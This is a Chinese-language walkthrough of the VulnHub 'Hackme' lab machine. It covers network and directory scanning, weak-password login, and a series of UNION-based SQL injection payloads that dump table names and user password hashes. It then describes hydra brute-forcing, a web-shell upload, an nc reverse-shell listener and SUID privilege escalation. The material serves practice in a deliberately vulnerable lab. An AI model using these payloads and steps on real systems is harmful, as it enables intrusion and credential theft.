vulnhub-Hackme-隧道建立、SQL注入、详细解题、思路清晰。
一、信息收集 2025.3.14 PM 12：18
1、主机发现
arp-scan -l
nmap -sn 192.168.66.0/24
2、端口扫描
1、nmap --min-rate 10000 -p- 192.168.66.182 -oA port
查看所有开放端口
2、map -sS -sV 192.168.66.182
附带服务版本信息，详细扫描
3、vuln扫描
nmap --script=vuln -p 22,80 192.168.66.182
这里也是慢慢捡起来其他工具，这个可以扫描以往受到的攻击，扫描看一下
4、后台扫目录
dirb http://192.168.66.182
dirsearch -u http://192.168.66.182/ -e * -i 200
nikto -h 192.168.66.182 -p 80
扫描一下目录
5、访问80端口
1、sql注入
这里一个弱口令admin、123456登录成功，我们看一下有什么功能吧
我们翻译一下是一个图书管理后台，我们还是一个管理员身份，这里万能语法可以生效，尝试一下有没有过滤吧 Ⅰ、判断是否存在sql注入
OSINT' and 1=1#
OSINT' and 1=2#
这两段代码来判断是否存在sql注入，我们输入第二段代码返回异常或者无回显说明我们注入成功
或者我们使用'发现可以回显所有书名
Ⅱ、判断字段数
OSINT' order by 4
这里也是判断了字段数
OSINT' union select 1,2,3 -- +
确定显示位
使用 UNION 命令来查找其中存在的列数，这里到4就没有回显了，我们判断又3列
Ⅲ、查询数据库版本和存在的数据库，这里因为是又三个回显点
OSINT' union select version(),database(),3#
这些基本信息都能爆出来，我们接着爆库
Ⅳ、爆列 ok,这里也是调试好了，这两条语法都可以查询到，这里应该也算是万能语法，只是把列数确定好，把表名爆出来就大差不差了。这两个语法貌似没什么区别
OSINT' union select group_concat(table_name),2,3 from information_schema.tables where table_schema="webapphacking"#
OSINT' union select (select group_concat(table_name)),2,3 from information_schema.tables where table_schema="webapphacking" -- +
这里一个books一个users，我们加下来吧这两个爆出来 Ⅴ、爆users表
OSINT' union select group_concat(column_name),2,3 from information_schema.columns where table_name="users" -- +
OSINT' union select group_concat(column_name),2,3 from information_schema.columns where table_name="users"#
这里我们只需要爆出user和pasword即可，或者其他表格也能爆出来
OSINT' union select group_concat(user),group_concat(pasword),3 from users#
这里我们就需要鉴定一下加密类型了
这里是md5加密，然后我们拿去解密尝试进行ssh登录
得到了一丢密码，拿去hydra爆破一下，失败了，我们拿这些账户登录一下这个端口，看看有没有其他信息
6、寻找突破口
这里原来是有用户名，而不是我们得到的user1，这次我们可以尝试hydra了
这里有个惊喜啊，文件上传太熟了，赶紧丢个后门测试测试
笑了，上传到upload了是吧，和我们之前的uploads文件夹呼应了，我们去uploads看一下什么情况
给爷整笑了，这里出现了一个png，我们上传一句话然后nc反连一下
2、后台目录
7、隧道建立
nc -lvp 6666
这次上传了php.png连接不到不知道是什么原因，但是php文件是可以连到的
我们修复一下shell
这里提权真的很垃圾啊，也可能是这个太简单了，主要是想不到这一点，这个touchmenot执行就提权了。
后续我也会出更多打靶文章，希望大家关注！谢谢
